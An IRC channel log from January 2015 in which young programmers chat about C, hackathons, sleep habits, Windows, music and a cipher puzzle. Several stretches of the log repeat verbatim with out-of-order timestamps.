[2015-01-30T13:50:53-0500] <jwoglom> also, i really shouldn't be using a usb2 dock with a crappy WD blue hard drive as my time machine backup drive
[2015-01-30T13:50:55-0500] <jwoglom> it's so freaking slow
[2015-01-30T13:50:57-0500] <@awe> Tamini_: and I'm not going to start working on the server component of my IRC library right now.
[2015-01-30T13:52:03-0500] <Tamini_> ah, okay
[2015-01-30T13:52:17-0500] <Tamini_> couldnt you still be doing fun things other than suffering by actually listening tho
[2015-01-30T13:52:19-0500] <Tamini_> also,
[2015-01-30T13:52:30-0500] <@awe> Well, I wouldn't want to miss anything in case I don't know something.
[2015-01-30T13:52:34-0500] <Tamini_> the guy sitting next to me was talking about starbound
[2015-01-30T13:52:38-0500] <@awe> Woo!
[2015-01-30T13:52:40-0500] <@awe> Starbound is great.
[2015-01-30T13:52:43-0500] <Tamini_> awe: what are the odds of that, though?
[2015-01-30T13:52:48-0500] <Tamini_> i really want it now
[2015-01-30T13:52:53-0500] <Tamini_> apparently its on sale?
[2015-01-30T13:52:59-0500] <@awe> P(guy talking about Starbound) = 0.6
[2015-01-30T13:53:27-0500] <@awe> P(guy talking about Starbound | guy talking about Starbound) = 1
[2015-01-30T13:53:38-0500] <@awe> you're welcome.
[2015-01-30T13:54:45-0500] <Tamini_> i meant like odds you dont know something that the guy teaches does
[2015-01-30T13:54:50-0500] <@awe> Oh.
[2015-01-30T13:54:53-0500] <@awe> Different.
[2015-01-30T13:54:54-0500] <@awe> lol
[2015-01-30T13:55:14-0500] <@awe> P(him teaching something I don't know | the class just ended) = 0
[2015-01-30T13:55:20-0500] <@awe> Anyway, time to walk back to my room.
[2015-01-30T13:55:23-0500] <@awe> Back in a few.
[2015-01-30T13:56:00-0500] <jwoglom> TJ's new network core is online o/
[2015-01-30T13:56:04-0500] <jwoglom> http://ahamilto.net/pics/newnetworkcore.jpg
[2015-01-30T13:56:06-0500] <ubuntor> yay
[2015-01-30T13:56:22-0500] <Tamini_> hehe okay
[2015-01-30T13:56:25-0500] <jwoglom> and that rack is sorta-cableporn-ish
[2015-01-30T13:56:26-0500] <ubuntor> pretty cables
[2015-01-30T13:56:44-0500] <ubuntor> oh, is that a logic gate switch?
[2015-01-30T13:57:09-0500] <jwoglom> that's our new naming scheme for networking hardware
[2015-01-30T13:57:38-0500] <ubuntor> neat
[2015-01-30T14:16:14-0500] Mode is +nst
[2015-01-30T14:16:51-0500] <@awe> This is cool.
[2015-01-30T14:21:36-0500] <@awe> On my walk back, I heard some kids talking about hackathons.
[2015-01-30T14:22:31-0500] <@awe> One of them said hackathons are the best way to learn programming languages because you just go right in and make something.
[2015-01-30T14:22:40-0500] <@awe> Why do people act like that's somehow constrained to hackathons?
[2015-01-30T14:22:52-0500] <jwoglom> lol hackathons seem to encourage horrible programming practices
[2015-01-30T14:22:56-0500] <@awe> If you want to learn a language and you learn best by jumping right into it, just *do* that.
[2015-01-30T14:22:58-0500] <@awe> jwoglom: that's also true.
[2015-01-30T14:23:02-0500] <@awe> Time constraints == bad code.
[2015-01-30T14:23:10-0500] <jwoglom> yup
[2015-01-30T14:23:22-0500] <@awe> Especially if you learn a language as subtle as C at a hackathon.
[2015-01-30T14:23:28-0500] <@awe> That's specifically what you were talking about.
[2015-01-30T14:23:30-0500] <@awe> they*
[2015-01-30T14:23:44-0500] <Tamini_> uh
[2015-01-30T14:23:53-0500] <Tamini_> learning C at a hackathon sounds like a terrible idea
[2015-01-30T14:23:59-0500] <jwoglom> yeah, learning C at a hackathon O_o
[2015-01-30T14:24:26-0500] <@awe> There's a local embedded systems hackathon called HackHolyoke.
[2015-01-30T14:24:34-0500] <@awe> They were talking about going there and learning C.
[2015-01-30T14:24:34-0500] <@awe> .-.
[2015-01-30T14:24:53-0500] <@awe> The funniest part is that when you're on embedded systems, you're almost guaranteed to run into all the weird things in C.
[2015-01-30T14:35:19-0500] <+JacobEdelman> its saying something that when you get down to the most bear bones languages you can realisticly code in things just get stranger and more surreall, 
[2015-01-30T14:35:25-0500] <+JacobEdelman> not simpler and more logical
[2015-01-30T14:35:39-0500] <+JacobEdelman> i mean, c code can literally time travel
[2015-01-30T14:36:21-0500] <@awe> How is that strange?
[2015-01-30T14:36:43-0500] <@awe> You're saying that as though getting less abstract should somehow make things easier.
[2015-01-30T14:36:46-0500] <@awe> It shouldn't.
[2015-01-30T14:37:00-0500] <@awe> That's the point of abstractions. Abstractions create simplicity.
[2015-01-30T14:37:18-0500] <+JacobEdelman> it shouldn't make things easier, but naively thinking you'd think it'd be more logical
[2015-01-30T14:37:21-0500] <@awe> No.
[2015-01-30T14:37:22-0500] <@awe> You wouldn't.
[2015-01-30T14:37:29-0500] <@awe> Logic is an abstraction.
[2015-01-30T14:37:31-0500] <+JacobEdelman> awe: who's more naieve, you or me?
[2015-01-30T14:37:44-0500] <ubuntor> ...
[2015-01-30T14:37:46-0500] <@awe> That's not what naive thinking means.
[2015-01-30T14:37:51-0500] <jwoglom> it might help your case if you spelled naive correcrly
[2015-01-30T14:37:54-0500] <jwoglom> *correctly
[2015-01-30T14:38:03-0500] <@awe> Naive thinking means that someone uninitiated in the ideas would likely think this way.
[2015-01-30T14:38:12-0500] <+JacobEdelman> jwoglom: lol
[2015-01-30T14:38:19-0500] <@awe> And that's simply not true. Anyone who's never written a systems language probably imagines it as being harder.
[2015-01-30T14:38:26-0500] <@awe> Specifically because they're used to abstraction.
[2015-01-30T14:38:27-0500] <+JacobEdelman> awe: I have never been initiated in any idea
[2015-01-30T14:38:30-0500] <+JacobEdelman> *ideas
[2015-01-30T14:38:34-0500] <+JacobEdelman> awe: inckuding spelling
[2015-01-30T14:38:39-0500] <@awe> Definitely including spelling.
[2015-01-30T14:49:08-0500] <+JacobEdelman> :P
[2015-01-30T14:49:38-0500] <+JacobEdelman> jwoglom: doesn't it hurt my case that I'm naiiive if I spell naeivi correctly?
[2015-01-30T14:50:00-0500] <+JacobEdelman> (also, fyi, I can spell, my la and sat grades prove it, I just choose not too(
[2015-01-30T14:50:02-0500] <+JacobEdelman> ))
[2015-01-30T14:50:59-0500] <@awe> That makes it worse.
[2015-01-30T14:54:10-0500] <Tamini_> why would you choose to appear ignorant
[2015-01-30T14:54:25-0500] <@awe> ^
[2015-01-30T14:54:26-0500] <@awe> Exactly
[2015-01-30T14:55:20-0500] <jwoglom> whee drive cloning time!
[2015-01-30T15:01:17-0500] <@awe> http://jvgs.sf.net
[2015-01-30T15:01:27-0500] <@awe> I wanted to play this, but it won't compile on OS X because of Lua.
[2015-01-30T15:02:36-0500] <Tamini_> whee, Pennsylvania
[2015-01-30T15:02:50-0500] <ubuntor> woah
[2015-01-30T15:03:02-0500] <@awe> Ah, might be able to fix compilation.
[2015-01-30T15:03:03-0500] <Tamini_> JacobEdelman: are you coming or not btw, you never gave me a 100% answer
[2015-01-30T15:03:08-0500] <ubuntor> what was the issue with lua on os x?
[2015-01-30T15:05:47-0500] <@awe> too new a lua version.
[2015-01-30T15:06:13-0500] <@awe> lua_open was replaced with lua_newstate and luaL_newstate
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[2015-01-30T15:06:41-0500] <@awe> I got it to build though.
[2015-01-30T15:07:41-0500] <@awe> But it doesn't appear to work anyway.
[2015-01-30T15:07:42-0500] <@awe> >.>
[2015-01-30T15:07:43-0500] <@awe> Oh well.
[2015-01-30T15:07:45-0500] <@awe> I give up.
[2015-01-30T15:19:36-0500] <+JacobEdelman> Tamini_: coming to what?
[2015-01-30T15:21:39-0500] <@awe> PilotPhilly
[2015-01-30T15:37:57-0500] <alokpathy> nezorg: I watch football on occasion, but I think that's more than everybody else in this channel combined.
[2015-01-30T15:38:19-0500] <alokpathy> on occasion == two or three games a year.
[2015-01-30T15:41:03-0500] <@awe> I like Basketball.
[2015-01-30T15:41:04-0500] <@awe> Basketball is cool.
[2015-01-30T15:43:10-0500] <alokpathy> Baseball is greta
[2015-01-30T15:43:12-0500] <alokpathy> great*
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[2015-01-30T16:41:37-0500] <Tamini_> lol
[2015-01-30T16:41:47-0500] <Tamini_> jay is telling me to get a selfie with victor
[2015-01-30T16:42:06-0500] <alokpathy> Why not?
[2015-01-30T16:45:29-0500] <Tamini_> i have no clue who he is.
[2015-01-30T16:46:26-0500] <jwoglom> yay, os x upgrade time
[2015-01-30T16:46:36-0500] <alokpathy> Tamini_: Well, you know what they say
[2015-01-30T16:46:37-0500] <alokpathy> yolo
[2015-01-30T16:46:44-0500] <alokpathy> :P
[2015-01-30T16:46:48-0500] <Tamini_> lol
[2015-01-30T16:46:55-0500] <jwoglom> taking a selfie, what's the worst that could happen
[2015-01-30T16:47:09-0500] <alokpathy> World domination?
[2015-01-30T16:47:19-0500] <jwoglom> that'd definately be a plus
[2015-01-30T16:47:26-0500] <alokpathy> Exactly.
[2015-01-30T16:47:29-0500] <alokpathy> Tamini_: Take that selfie
[2015-01-30T16:47:40-0500] <alokpathy> It's a once-in-a-lifetime opportunity to take over the world.
[2015-01-30T16:47:57-0500] <jwoglom> ^
[2015-01-30T16:48:08-0500] <jwoglom> who could say no to that
[2015-01-30T16:50:27-0500] <nezorg> I'm so excited to maybe go to an academic event thing and be published
[2015-01-30T16:50:32-0500] <nezorg> that would be so cool
[2015-01-30T16:51:44-0500] <alokpathy> Oh nice :D
[2015-01-30T16:52:12-0500] <alokpathy> Lol, Dr. Zorg
[2015-01-30T16:52:14-0500] <alokpathy> Dr. Ne Zorg
[2015-01-30T16:52:14-0500] <ubuntor> nice
[2015-01-30T16:52:44-0500] <nezorg> now
[2015-01-30T16:52:58-0500] <nezorg> perhaps I have to actually write the paper
[2015-01-30T16:53:00-0500] <jwoglom> Dr. N. E. Zorg
[2015-01-30T16:53:13-0500] <alokpathy> nezorg: That would be ideal :P
[2015-01-30T16:53:37-0500] <nezorg> i have two months though
[2015-01-30T16:53:41-0500] <alokpathy> Is that enough time?
[2015-01-30T16:53:47-0500] <nezorg> and obviously wouldn't be writing it alone
[2015-01-30T16:53:52-0500] <nezorg> alokpathy: yeah
[2015-01-30T16:54:01-0500] <alokpathy> Oh, okay
[2015-01-30T16:54:16-0500] <alokpathy> So from somebody who has 0 experience writing academic papers, it seems doable.
[2015-01-30T16:54:30-0500] <nezorg> yup! :P
[2015-01-30T16:55:22-0500] <nezorg> but it also seemed doable to the person who has co-authored the most papers in computer security in the last 5 years, so I feel okay
[2015-01-30T16:57:18-0500] <alokpathy> Hmm, he seems like he's qualified enough
[2015-01-30T16:57:20-0500] <alokpathy> can't be sure.
[2015-01-30T17:02:53-0500] <jwoglom> >about a second remaining
[2015-01-30T17:02:57-0500] <jwoglom> >still waiting after 5 minutes
[2015-01-30T17:03:09-0500] <alokpathy> Close enough.
[2015-01-30T17:03:58-0500] <Tamini_> ...that
[2015-01-30T17:04:01-0500] <Tamini_> that was really creepy
[2015-01-30T17:04:26-0500] <Tamini_> and lol nezorg congratz! :D
[2015-01-30T17:04:38-0500] <Tamini_> but oh my god jay mo is such a strange kid.
[2015-01-30T17:05:24-0500] <alokpathy> ^
[2015-01-30T17:05:28-0500] <alokpathy> xD
[2015-01-30T17:06:04-0500] <Tamini_> like
[2015-01-30T17:06:08-0500] <Tamini_> okay so
[2015-01-30T17:06:16-0500] <Tamini_> he wanted me to take a selfie with victor
[2015-01-30T17:06:19-0500] <Tamini_> and i said no
[2015-01-30T17:06:39-0500] <Tamini_> so he asked me for a picture of the place
[2015-01-30T17:07:04-0500] <Tamini_> and he sent that picture to victor so he could find me
[2015-01-30T17:07:07-0500] <jwoglom> >about 0 seconds remaining
[2015-01-30T17:07:11-0500] <jwoglom> thx apple
[2015-01-30T17:07:20-0500] <Tamini_> and victor came up to me and shook my hand and got a selfie with me
[2015-01-30T17:07:30-0500] <Tamini_> and now jay is asking me if im single
[2015-01-30T17:07:39-0500] <+JacobEdelman> Tamini_: wait, is he really?
[2015-01-30T17:07:53-0500] <Tamini_> ????
[2015-01-30T17:08:00-0500] <Tamini_> jay? yes
[2015-01-30T17:08:59-0500] <+JacobEdelman> hmmm... wow, he is very out going
[2015-01-30T17:09:29-0500] <+JacobEdelman> Tamini_: I'm not going to pilot philly
[2015-01-30T17:09:56-0500] <Tamini_> also im pretty sure
[2015-01-30T17:10:04-0500] <Tamini_> jay is trying to set me up with him
[2015-01-30T17:10:12-0500] <Tamini_> or just saying really creepy things in general
[2015-01-30T17:10:15-0500] <Tamini_> either way uhhh
[2015-01-30T17:10:21-0500] <+JacobEdelman> wow....
[2015-01-30T17:10:32-0500] <+JacobEdelman> just tell him you're not single and I'm sure he'll stop
[2015-01-30T17:13:20-0500] <Pharyngeal> Hello #pdgn
[2015-01-30T17:14:36-0500] <alokpathy> Hello Pharyngeal 
[2015-01-30T17:15:01-0500] <ubuntor> hey
[2015-01-30T17:16:25-0500] <+JacobEdelman> hi Pharyngeal
[2015-01-30T17:16:41-0500] <Pharyngeal> Hi
[2015-01-30T17:17:23-0500] • Pharyngeal: is running on two hours of sleep
[2015-01-30T17:17:27-0500] <Pharyngeal> Erm, crawling?
[2015-01-30T17:18:06-0500] <alokpathy> Crawling on two hours of sleep?
[2015-01-30T17:18:32-0500] <Pharyngeal> Yes
[2015-01-30T17:25:12-0500] <alokpathy> That's...new
[2015-01-30T17:25:18-0500] <LittleBobbyTables> That's all you need a day
[2015-01-30T17:33:55-0500] <+JacobEdelman> LittleBobbyTables: I need at least ten to function properly
[2015-01-30T17:34:06-0500] <+JacobEdelman> alokpathy knows the horrors that occur when I get tired
[2015-01-30T17:34:20-0500] <+JacobEdelman> I start acting weirdly... more weirdly than normal
[2015-01-30T17:37:17-0500] <nezorg> same here
[2015-01-30T17:37:25-0500] <nezorg> although 8.5 usually cuts it
[2015-01-30T17:40:50-0500] <+JacobEdelman> well, I can survive reasonably well with 8.5 and slug on (tiredly) with 7.5
[2015-01-30T17:40:58-0500] <+JacobEdelman> but 10 is the sweet spot
[2015-01-30T17:41:19-0500] <Pharyngeal> I can do 6 /okay/, 8 /decent/, 10 optimal and 12 wondeful.
[2015-01-30T17:41:50-0500] <+JacobEdelman> hmmm.... so its only LittleBobbyTables and awe who are zombies who have no need of sleep?
[2015-01-30T17:47:13-0500] <alokpathy> 5 or 7 is good for me
[2015-01-30T17:47:14-0500] <alokpathy> not 6
[2015-01-30T17:47:49-0500] <alokpathy> If I sleep 5 or 7 hours, I'm fine for the rest of the day.
[2015-01-30T17:47:58-0500] <alokpathy> If I sleep 6 hours, I'm dead for the rest of the day.
[2015-01-30T17:51:22-0500] <Pharyngeal> Odd
[2015-01-30T17:56:06-0500] <ubuntor> sleep cycles?
[2015-01-30T18:01:17-0500] <LittleBobbyTables> Polyphasic sleeping is glorious
[2015-01-30T18:01:29-0500] <Pharyngeal> LittleBobbyTables: I did that last year. so true
[2015-01-30T18:01:32-0500] <LittleBobbyTables> Also, 30 or 90 minute sleep cycles are normal
[2015-01-30T18:16:28-0500] <Tamini_> all yall kids
[2015-01-30T18:16:29-0500] <Tamini_> sleeping
[2015-01-30T18:16:32-0500] <Tamini_> psh
[2015-01-30T18:31:59-0500] <@awe> LittleBobbyTables: Yup.
[2015-01-30T18:32:04-0500] <@awe> LittleBobbyTables: I think usually 90 minutes.
[2015-01-30T19:04:10-0500] <LittleBobbyTables> 90 is right, yeah
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[2015-01-30T19:40:03-0500] <assface> wow
[2015-01-30T19:40:18-0500] <assface> the sheer amount of hate for windows on this other channel I'm on is ridiculous
[2015-01-30T19:40:20-0500] <assface> I love it
[2015-01-30T19:43:31-0500] <Tamini_> lol
[2015-01-30T19:43:44-0500] <Tamini_> do you feed off their hatred? :P
[2015-01-30T19:43:55-0500] <assface> yes
[2015-01-30T19:48:03-0500] <@awe> Windows is awful.
[2015-01-30T19:48:07-0500] <@awe> I feel you, assface.
[2015-01-30T19:48:14-0500] <assface> you don't even know
[2015-01-30T19:48:21-0500] <assface> the hate is this x10
[2015-01-30T19:48:29-0500] <@awe> Oh?
[2015-01-30T19:49:09-0500] <assface> they're considering banning all windows users
[2015-01-30T19:49:23-0500] <jwoglom> how would one go about doing that
[2015-01-30T19:49:31-0500] <assface> ban them when they mention it
[2015-01-30T19:49:34-0500] <jwoglom> do they mean just banning people who use windows in channel?
[2015-01-30T19:49:38-0500] <assface> ya
[2015-01-30T19:50:02-0500] <jwoglom> well that's a bit rediculous
[2015-01-30T19:50:24-0500] <assface> I think it's meant as a joke, but it's pretty crazy
[2015-01-30T19:50:27-0500] <@awe> I'd almost be okay with that.
[2015-01-30T19:50:40-0500] <assface> windows users are basically hated anyway
[2015-01-30T19:52:18-0500] <@awe> That's true.
[2015-01-30T19:52:26-0500] <@awe> My friend's contributions to Rust are all about Windows-specific stuff.
[2015-01-30T19:52:30-0500] <@awe> Because nobody works on Windows.
[2015-01-30T19:52:48-0500] <jwoglom> in our TJ channel there's this one friend of mine who is crazy about windows
[2015-01-30T19:52:52-0500] <jwoglom> total MS fanboy
[2015-01-30T19:52:54-0500] <jwoglom> it's a bit crazy
[2015-01-30T19:53:20-0500] <alokpathy> That's kinda weird.
[2015-01-30T19:53:58-0500] <assface> https://www.youtube.com/watch?v=SpTS4O1nFyc
[2015-01-30T19:54:03-0500] <assface> is that your friend?
[2015-01-30T19:54:39-0500] <jwoglom> kind of, lol
[2015-01-30T19:54:43-0500] <jwoglom> he's obsessed with powershell
[2015-01-30T19:55:17-0500] <jwoglom> that video is a bit weird
[2015-01-30T19:55:45-0500] <@awe> He's obsessed with the thing they made to copy Unix?
[2015-01-30T19:55:52-0500] <jwoglom> yup
[2015-01-30T19:56:26-0500] <jwoglom> he's in #powershell on freenode i think
[2015-01-30T19:56:49-0500] <@awe> Lol.
[2015-01-30T19:56:53-0500] <Tamini_> wait who
[2015-01-30T19:56:59-0500] <assface> Jimothy Rosenblatt
[2015-01-30T19:57:08-0500] <Tamini_> jwoglom:
[2015-01-30T19:57:09-0500] <@awe> assface: this is so bad it hurts.
[2015-01-30T19:57:22-0500] <assface> found it on 8chan
[2015-01-30T19:57:40-0500] <jwoglom> Tamini_: i was referring to jcotton
[2015-01-30T19:58:03-0500] <Tamini_> ohhh, really?
[2015-01-30T19:58:15-0500] <@awe> assface: Ah, naturally.
[2015-01-30T19:58:56-0500] <assface> /tech/ laughed at it for a few minutes
[2015-01-30T20:05:16-0500] <LittleBobbyTables> powershell is fucking amazing
[2015-01-30T20:08:47-0500] <assface> it's like a babby version of bash
[2015-01-30T20:09:17-0500] <assface> it is indeed amazing that Microshaft was capable of putting out a product that is mediocre instead of actively bad
[2015-01-30T20:09:40-0500] <+hardmath123> http://backtick.town/~kc/cipher.txt
[2015-01-30T20:09:50-0500] <+hardmath123> (useful: http://hardmath123.github.io/crypto.html)
[2015-01-30T20:09:53-0500] <+hardmath123> enjoy.
[2015-01-30T20:10:25-0500] <assface> looks like ascii with punctuation left out
[2015-01-30T20:11:22-0500] <assface> scratch that, it's just sub
[2015-01-30T20:17:14-0500] <assface> ooh la la
[2015-01-30T20:17:16-0500] <assface> http://www.extremetech.com/internet/198578-bittorrents-project-maelstrom-will-host-websites-in-torrents
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[2015-01-30T20:34:27-0500] <Tamini_> omg hardmath123
[2015-01-30T20:34:32-0500] <Tamini_> dont do this im supposed to be working
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[2015-01-30T20:45:50-0500] <+hardmath123> Tamini_: lol nerd sniped much? :P
[2015-01-30T20:46:07-0500] <Tamini_> hmm?
[2015-01-30T20:54:45-0500] <@awe> lol
[2015-01-30T20:55:10-0500] <@awe> assface: Microsoft has made good things.
[2015-01-30T20:55:12-0500] <@awe> assface: Like F#.
[2015-01-30T20:55:14-0500] <+hardmath123> TIES ARE AN NP-COMPLETE TOPOLOGy PROBLEM
[2015-01-30T20:55:21-0500] <+hardmath123> I WANT TO STRANGLE THE INVENTOR OF THE TIE
[2015-01-30T20:55:22-0500] <+hardmath123> WITH A TIE
[2015-01-30T20:58:21-0500] <alokpathy> wat
[2015-01-30T20:58:27-0500] <alokpathy> Tying a tie is NP-C?
[2015-01-30T21:01:46-0500] <ubuntor> hm?
[2015-01-30T21:03:33-0500] <Tamini_> lol
[2015-01-30T21:13:03-0500] <ubuntor> hardmath123: figuring out that cipher is really fun
[2015-01-30T21:27:32-0500] <Tamini_> hardmath123: yo man
[2015-01-30T21:27:38-0500] <Tamini_> you just got me in trouble :D
[2015-01-30T21:27:43-0500] <ubuntor> hardmath123: nice quote
[2015-01-30T22:07:03-0500] <assface> Tool > other music
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[2015-01-30T22:17:58-0500] Pidgey sets mode +v JacobEdelman
[2015-01-30T22:25:54-0500] <@awe> assface: eh, tool is alright.
[2015-01-30T22:48:29-0500] <assface> awe: well, you're talking to a Tool cultust
[2015-01-30T22:48:30-0500] <assface> so
[2015-01-30T22:48:44-0500] <assface> don't speak such blasphemy
[2015-01-30T22:50:56-0500] <@awe> I like them, but I like other things more.
[2015-01-30T22:53:27-0500] <assface> you don't recognize Tool as your one true god?
[2015-01-30T22:53:43-0500] <@awe> Nope.
[2015-01-30T22:53:48-0500] <assface> heretic
[2015-01-30T22:53:51-0500] <@awe> I'm sorry.
[2015-01-30T22:54:00-0500] <@awe> My only god is Simon Peyton Jones.
[2015-01-30T22:54:14-0500] <assface> I see
[2015-01-30T22:54:23-0500] <assface> you're no heretic, you're a pagan
[2015-01-30T22:54:29-0500] <@awe> Right.
[2015-01-30T22:55:50-0500] <assface> well time to hunt you down and brainwash you, I guess
[2015-01-30T22:56:01-0500] <@awe> You can come visit me at UMass! :p
[2015-01-30T22:56:10-0500] <@awe> Anyone from Pdgn is welcome to come visit me.
[2015-01-30T22:56:19-0500] <assface> that sounds very awkward
[2015-01-30T22:56:27-0500] <assface> I'd prefer kidnapping
[2015-01-30T22:56:32-0500] <@awe> Not really. I've met roughly half the people here in person already.
[2015-01-30T22:56:44-0500] <@awe> I haven't met LittleBobbyTables, but he knows everything about me.
[2015-01-30T22:56:50-0500] <@awe> And I know a significant amount about him.
[2015-01-30T22:57:07-0500] <assface> I prefer to remain anonymoose online
[2015-01-30T22:57:09-0500] <@awe> I don't know woggles in person, but I know him spiritually.
[2015-01-30T22:57:21-0500] <assface> less of a digital paper trail, if you would
[2015-01-30T22:57:31-0500] <jwoglom> Hi awe!
[2015-01-30T22:57:32-0500] <assface> like, you people probably know more about me than any other online community
[2015-01-30T22:57:33-0500] <alokpathy> The real question is, have you met Pidgey in real life?
[2015-01-30T22:57:46-0500] <@awe> Yeah, that's not atypical.
[2015-01-30T22:57:57-0500] <@awe> hi jwoglom
[2015-01-30T22:57:59-0500] <@awe> alokpathy: I haven't.
[2015-01-30T22:58:03-0500] <jwoglom> spiritually, eh? :P
[2015-01-30T22:58:06-0500] <@awe> :D
[2015-01-30T22:58:10-0500] <@awe> Yeah. The spirit of the Woggles.
[2015-01-30T22:58:14-0500] <assface> you grok woggles?
[2015-01-30T22:58:56-0500] <jwoglom> me what now?
[2015-01-30T22:59:28-0500] <assface> stranger in a strange land?
[2015-01-30T22:59:36-0500] <assface> Anybody?
[2015-01-30T23:06:04-0500] <Tamini_> um
[2015-01-30T23:06:14-0500] <Tamini_> assface: hardmath123 likes that book a lot.
[2015-01-30T23:06:43-0500] <assface> I liked it too
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[2015-01-30T23:21:01-0500] Topic is Temporary qdb: http://backtick.town/~kc/qdb.txt | Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-30T23:21:01-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-30T21:27:43-0500] <ubuntor> hardmath123: nice quote
[2015-01-30T22:07:03-0500] <assface> Tool > other music
[2015-01-30T22:25:54-0500] <@awe> assface: eh, tool is alright.
[2015-01-30T22:48:29-0500] <assface> awe: well, you're talking to a Tool cultust
[2015-01-30T22:48:30-0500] <assface> so
[2015-01-30T22:48:43-0500] <assface> don't speak such blasphemy
[2015-01-30T22:50:56-0500] <@awe> I like them, but I like other things more.
[2015-01-30T22:53:27-0500] <assface> you don't recognize Tool as your one true god?
[2015-01-30T22:53:43-0500] <@awe> Nope.
[2015-01-30T22:53:48-0500] <assface> heretic
[2015-01-30T22:53:51-0500] <@awe> I'm sorry.
[2015-01-30T22:54:00-0500] <@awe> My only god is Simon Peyton Jones.
[2015-01-30T22:54:14-0500] <assface> I see
[2015-01-30T22:54:23-0500] <assface> you're no heretic, you're a pagan
[2015-01-30T22:54:29-0500] <@awe> Right.
[2015-01-30T22:55:50-0500] <assface> well time to hunt you down and brainwash you, I guess
[2015-01-30T22:56:01-0500] <@awe> You can come visit me at UMass! :p
[2015-01-30T22:56:10-0500] <@awe> Anyone from Pdgn is welcome to come visit me.
[2015-01-30T22:56:19-0500] <assface> that sounds very awkward
[2015-01-30T22:56:27-0500] <assface> I'd prefer kidnapping
[2015-01-30T22:56:32-0500] <@awe> Not really. I've met roughly half the people here in person already.
[2015-01-30T22:56:44-0500] <@awe> I haven't met LittleBobbyTables, but he knows everything about me.
[2015-01-30T22:56:51-0500] <@awe> And I know a significant amount about him.
[2015-01-30T22:57:07-0500] <assface> I prefer to remain anonymoose online
[2015-01-30T22:57:09-0500] <@awe> I don't know woggles in person, but I know him spiritually.
[2015-01-30T22:57:21-0500] <assface> less of a digital paper trail, if you would
[2015-01-30T22:57:31-0500] <jwoglom> Hi awe!
[2015-01-30T22:57:32-0500] <assface> like, you people probably know more about me than any other online community
[2015-01-30T22:57:33-0500] <alokpathy> The real question is, have you met Pidgey in real life?
[2015-01-30T22:57:46-0500] <@awe> Yeah, that's not atypical.
[2015-01-30T22:57:57-0500] <@awe> hi jwoglom
[2015-01-30T22:57:59-0500] <@awe> alokpathy: I haven't.
[2015-01-30T22:58:03-0500] <jwoglom> spiritually, eh? :P
[2015-01-30T22:58:06-0500] <@awe> :D
[2015-01-30T22:58:10-0500] <@awe> Yeah. The spirit of the Woggles.
[2015-01-30T22:58:14-0500] <assface> you grok woggles?
[2015-01-30T22:58:56-0500] <jwoglom> me what now?
[2015-01-30T22:59:28-0500] <assface> stranger in a strange land?
[2015-01-30T22:59:36-0500] <assface> Anybody?
[2015-01-30T23:06:04-0500] <Tamini_> um
[2015-01-30T23:06:14-0500] <Tamini_> assface: hardmath123 likes that book a lot.
[2015-01-30T23:06:43-0500] <assface> I liked it too
[2015-01-30T23:07:18-0500] <assface> also: why do you type "um"?
[2015-01-30T23:07:42-0500] <assface> you're wasting bytes that could be devoted to i2p!
[2015-01-30T23:14:29-0500] <Tamini_> i dont know!
[2015-01-30T23:14:46-0500] <Tamini_> also upenn campus looks surprisingly nice at 11pm
[2015-01-30T23:14:50-0500] <Tamini_> near midnight walks wheee
[2015-01-30T23:15:16-0500] <assface> I used to walk around at ~2 AM to get fresh air before bed
[2015-01-30T23:15:45-0500] <Tamini_> its nice!
[2015-01-30T23:16:32-0500] <assface> yeah
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[2015-01-31T01:35:06-0500] Topic is Temporary qdb: http://backtick.town/~kc/qdb.txt | Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-31T01:35:06-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-30T21:27:43-0500] <ubuntor> hardmath123: nice quote
[2015-01-30T22:07:03-0500] <assface> Tool > other music
[2015-01-30T22:25:54-0500] <@awe> assface: eh, tool is alright.
[2015-01-30T22:48:29-0500] <assface> awe: well, you're talking to a Tool cultust
[2015-01-30T22:48:30-0500] <assface> so
[2015-01-30T22:48:43-0500] <assface> don't speak such blasphemy
[2015-01-30T22:50:56-0500] <@awe> I like them, but I like other things more.
[2015-01-30T22:53:27-0500] <assface> you don't recognize Tool as your one true god?
[2015-01-30T22:53:43-0500] <@awe> Nope.
[2015-01-30T22:53:48-0500] <assface> heretic
[2015-01-30T22:53:51-0500] <@awe> I'm sorry.
[2015-01-30T22:54:00-0500] <@awe> My only god is Simon Peyton Jones.
[2015-01-30T22:54:14-0500] <assface> I see
[2015-01-30T22:54:23-0500] <assface> you're no heretic, you're a pagan
[2015-01-30T22:54:29-0500] <@awe> Right.
[2015-01-30T22:55:50-0500] <assface> well time to hunt you down and brainwash you, I guess
[2015-01-30T22:56:01-0500] <@awe> You can come visit me at UMass! :p
[2015-01-30T22:56:10-0500] <@awe> Anyone from Pdgn is welcome to come visit me.
[2015-01-30T22:56:19-0500] <assface> that sounds very awkward
[2015-01-30T22:56:27-0500] <assface> I'd prefer kidnapping
[2015-01-30T22:56:32-0500] <@awe> Not really. I've met roughly half the people here in person already.
[2015-01-30T22:56:44-0500] <@awe> I haven't met LittleBobbyTables, but he knows everything about me.
[2015-01-30T22:56:51-0500] <@awe> And I know a significant amount about him.
[2015-01-30T22:57:07-0500] <assface> I prefer to remain anonymoose online
[2015-01-30T22:57:09-0500] <@awe> I don't know woggles in person, but I know him spiritually.
[2015-01-30T22:57:21-0500] <assface> less of a digital paper trail, if you would
[2015-01-30T22:57:31-0500] <jwoglom> Hi awe!
[2015-01-30T22:57:32-0500] <assface> like, you people probably know more about me than any other online community
[2015-01-30T22:57:33-0500] <alokpathy> The real question is, have you met Pidgey in real life?
[2015-01-30T22:57:46-0500] <@awe> Yeah, that's not atypical.
[2015-01-30T22:57:57-0500] <@awe> hi jwoglom
[2015-01-30T22:57:59-0500] <@awe> alokpathy: I haven't.
[2015-01-30T22:58:03-0500] <jwoglom> spiritually, eh? :P
[2015-01-30T22:58:06-0500] <@awe> :D
[2015-01-30T22:58:10-0500] <@awe> Yeah. The spirit of the Woggles.
[2015-01-30T22:58:14-0500] <assface> you grok woggles?
[2015-01-30T22:58:56-0500] <jwoglom> me what now?
[2015-01-30T22:59:28-0500] <assface> stranger in a strange land?
[2015-01-30T22:59:36-0500] <assface> Anybody?
[2015-01-30T23:06:04-0500] <Tamini_> um
